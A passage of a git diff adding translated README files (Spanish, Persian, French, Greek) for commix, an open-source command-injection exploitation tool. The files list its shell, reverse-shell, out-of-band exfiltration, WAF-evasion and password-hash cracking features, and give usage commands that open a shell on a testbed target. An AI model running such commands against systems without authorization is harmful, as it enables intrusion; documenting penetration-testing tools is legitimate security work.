by it + being copyright (c) 2001. Shy Shalom wrote the original C code and Mark Pilgrim ported it to + Python. + +```` +This library is free software; you can redistribute it and/or modify it under +the terms of the GNU Lesser General Public License as published by the Free +Software Foundation; either version 2.1 of the License, or (at your option) +any later version. + +This library is distributed in the hope that it will be useful, but WITHOUT +ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more +details. + +You should have received a copy of the GNU Lesser General Public License along +with this library; if not, write to the Free Software Foundation, Inc., +51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +```` + +The full text of the GNU Lesser General Public License is at +. + +## Commix itself + +Everything outside `src/thirdparty/` is commix's own and is licensed under the GNU General Public +License v3 - see [`LICENSE.txt`](../LICENSE.txt). That includes `src/utils/brotli.py`, which is a +Brotli decoder written for commix rather than a bundled library. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md new file mode 100644 index 0000000000..8f084f18ed --- /dev/null +++ b/doc/translations/README-es-ES.md @@ -0,0 +1,104 @@ +

+ CommixProject +

+ +
+ +[`English`](../../README.md) • [`Ελληνικά`](README-gr-GR.md) • `Español` • [`Français`](README-fr-FR.md) • [`فارسی`](README-fa-FA.md) • [`Bahasa Indonesia`](README-idn-IDN.md) • [`Türkçe`](README-tr-TR.md) + +
+ +

+ Builds Tests + Python 3.7+ + GPLv3 License + Follow @commixproject +

+ +**Commix** (abreviatura de [**comm**]and [**i**]njection e[**x**]ploiter) es una herramienta de pruebas de penetración de código abierto, escrita por **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), que automatiza la detección y explotación de vulnerabilidades de tipo **[command](https://owasp.org/www-community/attacks/Command_Injection)** (y **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection. + +![Screenshot](https://commixproject.com/images/background.png) + +Puede visitar la **[colección de capturas de pantalla](https://github.com/commixproject/commix/wiki/Screenshots)** que muestra algunas de las funcionalidades disponibles en el wiki. + +> [!IMPORTANT] +> **Este proyecto está en desarrollo activo.** Es posible que se produzcan cambios incompatibles +> entre revisiones. Consulte el +> [registro de cambios](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) antes +> de actualizar. +> +> Commix está pensado principalmente para usarse como herramienta autónoma de línea de comandos, y +> ejecuta comandos del sistema operativo en los objetivos que analiza. **Ejecutar commix como un +> servicio puede suponer riesgos de seguridad.** Se recomienda usarlo con precaución, y únicamente +> contra sistemas de su propiedad o para los que cuente con autorización explícita. + +## Características + +* **Cuatro técnicas de inyección** - results-based, boolean-based, time-based y file-based, elegidas con `--technique` o según el tipo con el que se informan con `--type` - consulte [techniques](https://github.com/commixproject/commix/wiki/Techniques) para ver qué exige cada una de un objetivo. +* **Out-of-band, cuando no vuelve nada** - `--oob` demuestra la ejecución y trae de vuelta la salida del comando sobre HTTP/S o DNS, llegando al servidor mediante el cliente que el objetivo tenga - consulte [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) para ver cuáles prueba y cómo fijar uno. +* **Inyección de código** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) prueba lo que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript, PowerShell, Perl o Lua, con esas mismas técnicas. +* **Dondequiera que llegue la entrada** - parámetros GET/POST, [cabeceras HTTP y cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), cuerpos JSON/XML/GraphQL, además del módulo `shellshock` para objetivos CGI. +* **De la prueba a la shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), los modos integrados `reverse_tcp` y `bind_tcp` ampliables a una PTY completa, transferencia de archivos, lectura y escritura del registro de Windows, y enumeración hasta los hashes de contraseñas, con un ataque de diccionario ofrecido contra ellos. +* **Evasión de filtros y WAF** - scripts de manipulación (tamper) combinables, aplicados en un orden determinista - consulte [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Objetivos de cualquier forma** - una URL, un rastreo del sitio, formularios HTML, un sitemap, una descripción OpenAPI (Swagger), un registro de proxy, un archivo con varios objetivos, una petición HTTP en bruto o entrada por `stdin` - consulte [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Reanudable y automatizable** - [archivos de sesión por objetivo](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), salida JSON/CSV/HAR, perfiles de opciones reutilizables, `--proof`, que vuelve a demostrar cualquier hallazgo con un experimento propio, y una [API REST](https://github.com/commixproject/commix/wiki/API) para lanzar análisis desde otro sitio. +* **Tipo Unix y Windows** - back-ends PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI - consulte +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) +para ver en qué se diferencian las cargas útiles. + +## Instalación + +Puede descargar commix en cualquier plataforma clonando el repositorio Git oficial: + +``` +$ git clone https://github.com/commixproject/commix.git commix +``` + +Alternativamente, puede descargar la última **[versión tarball](https://github.com/commixproject/commix/tarball/master)** o **[versión zipball](https://github.com/commixproject/commix/zipball/master)**. + +> [!NOTE] +> Se necesita **[Python](https://www.python.org/downloads/)** (versión **3.7** o posterior) para +> ejecutar commix. El resto de dependencias se incluyen con el programa, por lo que no hace falta +> ningún paso de instalación adicional. + +## Uso + +Para obtener una lista de todas las opciones y parámetros disponibles: + +``` +$ python3 commix.py -h +``` + +Probar un único parámetro inyectable y abrir una shell en el objetivo: + +``` +$ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell +``` + +Demostrar la ejecución fuera de banda, cuando la respuesta no devuelve nada: + +``` +$ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob +``` + +> [!NOTE] +> El cliente se elige según lo que tenga el objetivo, de modo que una máquina sin los clientes HTTP +> habituales sigue estando al alcance - fije uno con `--oob-transport` cuando su salida a red ya se +> conozca. La detección fuera de banda (OAST) con `--oob` utiliza de forma predeterminada el servidor +> interactsh público `oast.fun`, por lo que los metadatos de las interacciones con su objetivo salen +> de su red. Apunte `--oob-server` a una instancia propia para mantenerlos internos. Para una guía +> detallada, consulte la página +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) del wiki. + +Analizar una lista de objetivos de forma desatendida y guardar los resultados en un archivo: + +``` +$ python3 commix.py -m targets.txt --batch --report-json=results.json +``` + +Para obtener una visión general de las opciones, parámetros y conceptos básicos de uso de commix, consulte las páginas del wiki **[Uso](https://github.com/commixproject/commix/wiki/Usage)**, **[Ejemplos de uso](https://github.com/commixproject/commix/wiki/Usage-examples)** y **[Evasión de filtros](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)**. + +## Enlaces + +- Manual de usuario: [https://github.com/commixproject/commix/wiki](https://github.com/commixproject/commix/wiki) +- Seguimiento de incidencias: [https://github.com/commixproject/commix/issues](https://github.com/commixproject/commix/issues) diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md new file mode 100644 index 0000000000..3536b9b1d1 --- /dev/null +++ b/doc/translations/README-fa-FA.md @@ -0,0 +1,95 @@ +

+ CommixProject +

+ +
+ +[`English`](../../README.md) • [`Ελληνικά`](README-gr-GR.md) • [`Español`](README-es-ES.md) • [`Français`](README-fr-FR.md) • `فارسی` • [`Bahasa Indonesia`](README-idn-IDN.md) • [`Türkçe`](README-tr-TR.md) + +
+ +

+ Builds Tests + Python 3.7+ + GPLv3 License + Follow @commixproject +

+**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند](https://owasp.org/www-community/attacks/Command_Injection)** (و **[کد](https://owasp.org/www-community/attacks/Code_Injection)**) اینجکشن را خودکار می‌کند. + + +![Screenshot](https://commixproject.com/images/background.png) +می‌توانید از [مجموعه اسکرین‌ شات‌ها](https://github.com/commixproject/commix/wiki/Screenshots) که نشان‌دهنده بعضی از ویژگی‌ها است در صفحه ویکی دیدن کنید. + +> [!IMPORTANT] +> **این پروژه در حال توسعه فعال است.** بین نسخه‌ها ممکن است تغییرات ناسازگار رخ دهد. پیش از +> به‌روزرسانی، +> [فهرست تغییرات](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) را مرور +> کنید. +> +> کامیکس در درجه اول برای استفاده به عنوان یک ابزار مستقل خط فرمان ساخته شده است و روی هدف‌هایی که +> آزمایش می‌کند دستورات سیستم‌عامل را اجرا می‌کند. **اجرای کامیکس به صورت یک سرویس ممکن است خطرات +> امنیتی به همراه داشته باشد.** توصیه می‌شود با احتیاط و تنها روی سامانه‌هایی استفاده شود که متعلق +> به شما هستند یا برای آزمودن آن‌ها مجوز صریح دارید. + +## ویژگی‌ها + +* **چهار تکنیک تزریق** - results-based، boolean-based، time-based و file-based، که با `--technique` یا بر پایه نوعی که با `--type` گزارش می‌کنند انتخاب می‌شوند - برای اینکه هر کدام چه چیزی از هدف می‌خواهد [techniques](https://github.com/commixproject/commix/wiki/Techniques) را ببینید. +* **out-of-band، وقتی هیچ چیز بازنمی‌گردد** - سوئیچ `--oob` اجرا را اثبات می‌کند و خروجی فرمان را روی HTTP/S یا DNS بازمی‌گرداند، و از راه هر کلاینتی که هدف داشته باشد به سرور می‌رسد - برای اینکه کدام‌ها را می‌آزماید و چگونه یکی را تثبیت کنید [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) را ببینید. +* **تزریق کد** - سوئیچ [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) آنچه را هدف به عنوان کد ارزیابی می‌کند، در PHP، Python، Ruby، JavaScript، PowerShell، Perl یا Lua و با همان تکنیک‌ها آزمایش می‌کند. +* **هر جا که ورودی فرود آید** - پارامترهای GET/POST، [سرآیندهای HTTP و کوکی‌ها](https://github.com/commixproject/commix/wiki/Usage#request-options)، بدنه‌های JSON/XML/GraphQL، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. +* **از اثبات تا پوسته** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells)، حالت‌های داخلی `reverse_tcp` و `bind_tcp` با ارتقا به یک PTY کامل، انتقال فایل، خواندن و نوشتن رجیستری ویندوز، و شمارش تا درهم‌سازی گذرواژه‌ها، با پیشنهاد حمله دیکشنری علیه آن‌ها. +* **دور زدن فیلترها و WAF** - اسکریپت‌های tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند - [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples) را ببینید. +* **هدف در هر شکلی** - یک URL، پویش سایت، فرم‌های HTML، sitemap، توصیف OpenAPI (Swagger)، گزارش پروکسی، فایل چندهدفی، درخواست خام HTTP یا ورودی `stdin` - [target options](https://github.com/commixproject/commix/wiki/Usage#target-options) را ببینید. +* **قابل ازسرگیری و اسکریپت‌پذیر** - [فایل‌های نشست به تفکیک هدف](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data)، خروجی JSON/CSV/HAR، نمایه‌های گزینه قابل استفاده مجدد، `--proof` که هر یافته را با آزمایشی از آنِ خود دوباره اثبات می‌کند، و یک [REST API](https://github.com/commixproject/commix/wiki/API) برای اجرای اسکن از جایی دیگر. +* **شبه‌یونیکس و ویندوز** - بک‌اندهای PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI - برای تفاوت بارها +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) +را ببینید. + +## نصب و راه‌اندازی + +در هر پلتفرمی می‌توانید با کلون کردن مخزن رسمی گیت کامیکس را دانلود کنید : + + $ git clone https://github.com/commixproject/commix.git commix + +از سوی دیگر, می‌توانید جدیدترین [tarball](https://github.com/commixproject/commix/tarball/master) یا [zipball](https://github.com/commixproject/commix/zipball/master) را دانلود کیند. + +> [!NOTE] +> **[پایتون](https://www.python.org/downloads/)** (نسخه **3.7** یا بالاتر) برای اجرای کامیکس مورد +> نیاز است. تمام وابستگی‌های دیگر همراه برنامه ارائه می‌شوند، بنابراین به مرحله نصب اضافی نیازی +> نیست. + + +## استفاده + +برای دریافت لیستی از همه گزینه‌ها و سوئیچ‌ها از این دستور استفاده کنید: + + $ python3 commix.py -h + +آزمودن یک پارامتر آسیب‌پذیر و سپس گرفتن پوسته روی هدف: + + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell + +اثبات اجرا به روش خارج از باند، هنگامی که پاسخ چیزی برنمی‌گرداند: + + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob + +> [!NOTE] +> کلاینت بر پایه آنچه هدف دارد انتخاب می‌شود، بنابراین ماشینی که کلاینت‌های HTTP معمول را ندارد هم +> در دسترس می‌ماند - هنگامی که مسیر خروجی آن از پیش معلوم است، با `--oob-transport` یکی را تثبیت +> کنید. شناسایی خارج از باند (OAST) با `--oob` به‌صورت پیش‌فرض از سرور عمومی interactsh با نشانی +> `oast.fun` استفاده می‌کند، بنابراین فراداده تعامل‌های مربوط به هدف شما از شبکه‌تان خارج می‌شود. +> برای آنکه این داده‌ها درون‌سازمانی بماند، `--oob-server` را به نمونه‌ای که خودتان میزبانی می‌کنید +> اشاره دهید. برای راهنمای کامل، صفحه +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) در ویکی را ببینید. + +پویش فهرستی از هدف‌ها بدون نظارت و نوشتن نتایج در یک فایل: + + $ python3 commix.py -m targets.txt --batch --report-json=results.json + +برای دریافت نمای کلی از گزینه‌های موجود, سوئیچ‌ها و/یا ایده‌های اساسی در مورد نحوه استفاده از کامیکس, بررسی **[استفاده](https://github.com/commixproject/commix/wiki/Usage)**, **[مثال‌های استفاده](https://github.com/commixproject/commix/wiki/Usage-examples)** و **[دور زدن فیلترها](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)**, بخش [ویکی](https://github.com/commixproject/commix/wiki) را بررسی کنید. + + +## پیوندها + +* راهنمای کاربر: https://github.com/commixproject/commix/wiki +* ردیاب مسائل: https://github.com/commixproject/commix/issues diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md new file mode 100644 index 0000000000..be76452a17 --- /dev/null +++ b/doc/translations/README-fr-FR.md @@ -0,0 +1,104 @@ +

+ CommixProject +

+ +
+ +[`English`](../../README.md) • [`Ελληνικά`](README-gr-GR.md) • [`Español`](README-es-ES.md) • `Français` • [`فارسی`](README-fa-FA.md) • [`Bahasa Indonesia`](README-idn-IDN.md) • [`Türkçe`](README-tr-TR.md) + +
+ +

+ Builds Tests + Python 3.7+ + GPLv3 License + Follow @commixproject +

+ +**Commix** (abréviation de [**comm**]and [**i**]njection e[**x**]ploiter) est un outil open source de test d'intrusion, écrit par [**Anastasios Stasinopoulos**](https://github.com/stasinopoulos) ([**@ancst**](https://x.com/ancst)), qui automatise la détection et l'exploitation des vulnérabilités de type [**command**](https://owasp.org/www-community/attacks/Command_Injection) (et [**code**](https://owasp.org/www-community/attacks/Code_Injection)) injection. + +![Screenshot](https://commixproject.com/images/background.png) + +Vous pouvez consulter la [**collection de captures d'écran**](https://github.com/commixproject/commix/wiki/Screenshots) présentant certaines fonctionnalités sur le wiki. + +> [!IMPORTANT] +> **Ce projet est en développement actif.** Attendez-vous à des changements incompatibles d'une +> révision à l'autre. Consultez le +> [journal des modifications](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) +> avant toute mise à jour. +> +> Commix est conçu avant tout comme un outil autonome en ligne de commande, et il exécute des +> commandes système sur les cibles qu'il teste. **Exécuter commix en tant que service peut présenter +> des risques de sécurité.** Il est recommandé de l'utiliser avec prudence, et uniquement contre des +> systèmes qui vous appartiennent ou pour lesquels vous disposez d'une autorisation explicite. + +## Fonctionnalités + +* **Quatre techniques d'injection** - results-based, boolean-based, time-based et file-based, choisies avec `--technique` ou selon le type sous lequel elles sont rapportées avec `--type` - voir [techniques](https://github.com/commixproject/commix/wiki/Techniques) pour ce que chacune exige d'une cible. +* **Out-of-band, quand rien ne revient** - `--oob` prouve l'exécution et rapporte la sortie de la commande via HTTP/S ou DNS, en atteignant le serveur par le client dont la cible dispose - voir [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) pour ceux qu'il essaie et comment en fixer un. +* **Injection de code** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) teste ce que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript, PowerShell, Perl ou Lua, avec ces mêmes techniques. +* **Partout où l'entrée aboutit** - paramètres GET/POST, [en-têtes HTTP et cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), corps JSON/XML/GraphQL, ainsi que le module `shellshock` pour les cibles CGI. +* **De la preuve au shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), les modes intégrés `reverse_tcp` et `bind_tcp` promouvables en PTY complet, le transfert de fichiers, la lecture et l'écriture du registre Windows, et l'énumération jusqu'aux empreintes de mots de passe, avec une attaque par dictionnaire proposée contre elles. +* **Contournement des filtres et des WAF** - scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe - voir [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Des cibles sous toutes les formes** - une URL, une exploration du site, des formulaires HTML, un sitemap, une description OpenAPI (Swagger), un journal de proxy, un fichier de cibles multiples, une requête HTTP brute ou une entrée `stdin` - voir [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Reprenable et scriptable** - [fichiers de session par cible](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), sortie JSON/CSV/HAR, profils d'options réutilisables, `--proof`, qui prouve à nouveau chaque découverte par une expérience qui lui est propre, et une [API REST](https://github.com/commixproject/commix/wiki/API) pour lancer des analyses depuis ailleurs. +* **Type Unix et Windows** - back-ends PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI - voir +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) +pour la façon dont les charges utiles diffèrent. + +## Installation + +Vous pouvez télécharger commix sur n'importe quelle plateforme en clonant le dépôt Git officiel : + +``` +$ git clone https://github.com/commixproject/commix.git commix +``` + +Vous pouvez également télécharger la dernière [**archive tarball**](https://github.com/commixproject/commix/tarball/master) ou [**archive zipball**](https://github.com/commixproject/commix/zipball/master). + +> [!NOTE] +> [**Python**](https://www.python.org/downloads/) (version **3.7** ou ultérieure) est requis pour +> exécuter commix. Toutes les autres dépendances sont fournies avec le programme, aucune étape +> d'installation supplémentaire n'est donc nécessaire. + +## Utilisation + +Pour obtenir la liste de toutes les options et de tous les paramètres disponibles : + +``` +$ python3 commix.py -h +``` + +Tester un seul paramètre injectable, puis ouvrir un shell sur la cible : + +``` +$ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell +``` + +Prouver l'exécution hors bande, lorsque la réponse ne renvoie rien : + +``` +$ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob +``` + +> [!NOTE] +> Le client est choisi selon ce dont la cible dispose : une machine dépourvue des clients HTTP +> habituels reste donc à portée - fixez-en un avec `--oob-transport` lorsque sa sortie réseau est +> déjà connue. La détection hors bande (OAST) avec `--oob` utilise par défaut le serveur interactsh +> public `oast.fun` : les métadonnées des interactions avec votre cible sortent donc de votre réseau. +> Pointez `--oob-server` vers une instance auto-hébergée pour les garder en interne. Pour un guide +> détaillé, consultez la page +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) du wiki. + +Analyser une liste de cibles sans surveillance et enregistrer les résultats dans un fichier : + +``` +$ python3 commix.py -m targets.txt --batch --report-json=results.json +``` + +Pour obtenir un aperçu des options, paramètres et concepts de base de commix, consultez les pages du wiki [**Utilisation**](https://github.com/commixproject/commix/wiki/Usage), [**Exemples d'utilisation**](https://github.com/commixproject/commix/wiki/Usage-examples) et [**Contournement des filtres**](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). + +## Liens + +- Manuel utilisateur : [https://github.com/commixproject/commix/wiki](https://github.com/commixproject/commix/wiki) +- Suivi des problèmes : [https://github.com/commixproject/commix/issues](https://github.com/commixproject/commix/issues) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 2332a6b154..9a69e2c3ed 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,20 +1,49 @@ -

- CommixProject -

- Build Status - Python 2.6|2.7|3.x - GPLv3 License - GitHub closed issues - Twitter -

+

+ CommixProject

-To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**. +
-## Εικόνα +[`English`](../../README.md) • `Ελληνικά` • [`Español`](README-es-ES.md) • [`Français`](README-fr-FR.md) • [`فارسی`](README-fa-FA.md) • [`Bahasa Indonesia`](README-idn-IDN.md) • [`Türkçe`](README-tr-TR.md) + +
+ +

+ Builds Tests + Python 3.7+ + GPLv3 License + Follow @commixproject +

+To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command](https://owasp.org/www-community/attacks/Command_Injection)** (και **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection. ![Screenshot](https://commixproject.com/images/background.png) +Μπορείτε να επισκεφθείτε τη [συλλογή στιγμιότυπων](https://github.com/commixproject/commix/wiki/Screenshots) που παρουσιάζει μερικά από τα χαρακτηριστικά του, στο wiki. + +> [!IMPORTANT] +> **Το έργο βρίσκεται υπό ενεργή ανάπτυξη.** Αναμένετε αλλαγές που ενδέχεται να σπάσουν τη +> συμβατότητα μεταξύ των εκδόσεων. Συμβουλευτείτε το +> [ιστορικό αλλαγών](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) πριν +> από κάθε ενημέρωση. +> +> Το commix έχει σχεδιαστεί κυρίως για χρήση ως αυτόνομο εργαλείο γραμμής εντολών και εκτελεί +> εντολές λειτουργικού συστήματος στα συστήματα που ελέγχει. **Η εκτέλεση του commix ως υπηρεσία +> ενδέχεται να ενέχει κινδύνους ασφαλείας.** Συνιστάται η χρήση του με προσοχή, και μόνο σε +> συστήματα που σας ανήκουν ή για τα οποία έχετε ρητή εξουσιοδότηση ελέγχου. + +## Χαρακτηριστικά + +* **Τέσσερις τεχνικές injection** – results-based, boolean-based, time-based και file-based, που επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type` – δείτε τις [techniques](https://github.com/commixproject/commix/wiki/Techniques) για το τι απαιτεί η καθεμία από ένα target. +* **Out-of-band, όταν δεν επιστρέφει τίποτα** – το `--oob` αποδεικνύει την εκτέλεση και μεταφέρει το output της εντολής μέσω HTTP/S ή DNS, φτάνοντας στον server μέσω όποιου client τυχαίνει να διαθέτει το target – δείτε [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) για το ποιους δοκιμάζει και πώς να ορίσετε έναν. +* **Code injection** – το [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) ελέγχει ό,τι εκτελείται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript, PowerShell, Perl ή Lua, με τις ίδιες τεχνικές. +* **Όπου κι αν καταλήγει το input** – GET/POST parameters, [HTTP headers και cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL bodies, καθώς και το `shellshock` module για CGI targets. +* **Από την απόδειξη στο shell** – [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), ενσωματωμένα `reverse_tcp` και `bind_tcp` με αναβάθμιση σε πλήρες PTY, μεταφορά αρχείων, read/write στο Windows registry και enumeration μέχρι τα password hashes, με dictionary attack να προσφέρεται εναντίον τους. +* **Filter και WAF evasion** – συνδυάσιμα tamper scripts, που εφαρμόζονται με deterministic σειρά – δείτε [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples). +* **Targets σε κάθε μορφή** – URL, crawl, HTML forms, sitemap, OpenAPI (Swagger) description, proxy log, bulk file, raw HTTP request ή piped `stdin` – δείτε [target options](https://github.com/commixproject/commix/wiki/Usage#target-options). +* **Resumable και scriptable** – [session files ανά target](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), output σε JSON/CSV/HAR, επαναχρησιμοποιήσιμα profiles επιλογών, το `--proof`, που επαληθεύει εκ νέου κάθε εύρημα με δικό του πείραμα, και ένα [REST API](https://github.com/commixproject/commix/wiki/API) για να τρέχεις scans από αλλού. +* **Unix-like και Windows** – PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI back ends – δείτε το [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) για τις διαφορές στα payloads. + + ## Εγκατάσταση Μπορείτε να κατεβάσετε το commix σε κάθε πλατφόρμα κάνοντας κλώνο το επίσημο Git αποθετήριο: @@ -23,20 +52,42 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] Εναλλακτικά, μπορείτε να κατεβάσετε την τελευταία [tarball](https://github.com/commixproject/commix/tarball/master) ή [zipball](https://github.com/commixproject/commix/zipball/master). -*__Σημείωση:__ H **[Python](http://www.python.org/download/)** (έκδοση **2.6**, **2.7** ή **3.x**) απαιτείται για την εκτέλεση του commix.* +> [!NOTE] +> H **[Python](https://www.python.org/downloads/)** (έκδοση **3.7** ή νεότερη) απαιτείται για την +> εκτέλεση του commix. Όλες οι υπόλοιπες εξαρτήσεις συνοδεύουν το πρόγραμμα, οπότε δεν απαιτείται +> κανένα επιπλέον βήμα εγκατάστασης. ## Χρήση Για να λάβετε μια λίστα με όλες τις επιλογές και τους διακόπτες πατήστε: - $ python commix.py -h + $ python3 commix.py -h -Για να δείτε μια επισκόπηση των διαθέσιμων επιλογών, των διακοπτών ή / και βασικών ιδεών σχετικά με τον τρόπο χρήσης του commix, συμβουλευτείτε τις **[χρήση](https://github.com/commixproject/commix/wiki/Usage)**, **[παραδείγματα χρήσης](https://github.com/commixproject/commix/wiki/Usage-Examples)** και **[παράκαμψη φίλτρων](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki σελίδες. +Έλεγχος μιας ευπαθούς παραμέτρου και άμεση πρόσβαση σε κέλυφος στον στόχο : + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell + +Απόδειξη εκτέλεσης εκτός ζώνης, όταν η απόκριση δεν επιστρέφει τίποτα : + + $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob + +> [!NOTE] +> Ο client επιλέγεται βάσει του τι διαθέτει ο στόχος, οπότε ένα μηχάνημα χωρίς τους συνηθισμένους +> HTTP clients παραμένει προσβάσιμο – ορίστε έναν με την `--oob-transport` όταν η εξερχόμενη +> κίνησή του είναι ήδη γνωστή. Η ανίχνευση εκτός ζώνης (OAST) με την επιλογή `--oob` χρησιμοποιεί +> από προεπιλογή τον δημόσιο διακομιστή interactsh `oast.fun`, οπότε μεταδεδομένα των +> αλληλεπιδράσεων με τον στόχο σας φεύγουν από το δίκτυό σας. Ορίστε την `--oob-server` σε μια δική +> σας εγκατάσταση, ώστε να παραμείνουν εσωτερικά. Για αναλυτικό οδηγό, συμβουλευτείτε τη σελίδα +> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) στο wiki. + +Σάρωση λίστας στόχων χωρίς επίβλεψη και εγγραφή των αποτελεσμάτων σε αρχείο : + + $ python3 commix.py -m targets.txt --batch --report-json=results.json + +Για να δείτε μια επισκόπηση των διαθέσιμων επιλογών, των διακοπτών ή / και βασικών ιδεών σχετικά με τον τρόπο χρήσης του commix, συμβουλευτείτε τις **[χρήση](https://github.com/commixproject/commix/wiki/Usage)**, **[παραδείγματα χρήσης](https://github.com/commixproject/commix/wiki/Usage-examples)** και **[παράκαμψη φίλτρων](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** wiki σελίδες. ## Σύνδεσμοι * Εγχειρίδιο χρήστη: https://github.com/commixproject/commix/wiki * Παρακολούθηση προβλημάτων: https://github.com/commixproject/commix/issues - diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md new file mode 100644 index 0000000000..e6518d6ede --- /dev/null +++ b/doc/translations/README-idn-IDN.md @@ -0,0 +1,96 @@ +

+ CommixProject +

+ +
+ +[`English`](../../README.md) • [`Ελληνικά`](README-gr-GR.md) • [`Español`](README-es-ES.md) • [`Français`](README-fr-FR.md) • [`فارسی`](README-fa-FA.md) • `Bahasa Indonesia` • [`Türkçe`](README-tr-TR.md) + +
+ +

+ Builds Tests + Python 3.7+ + GPLv3 License + Follow @commixproject +

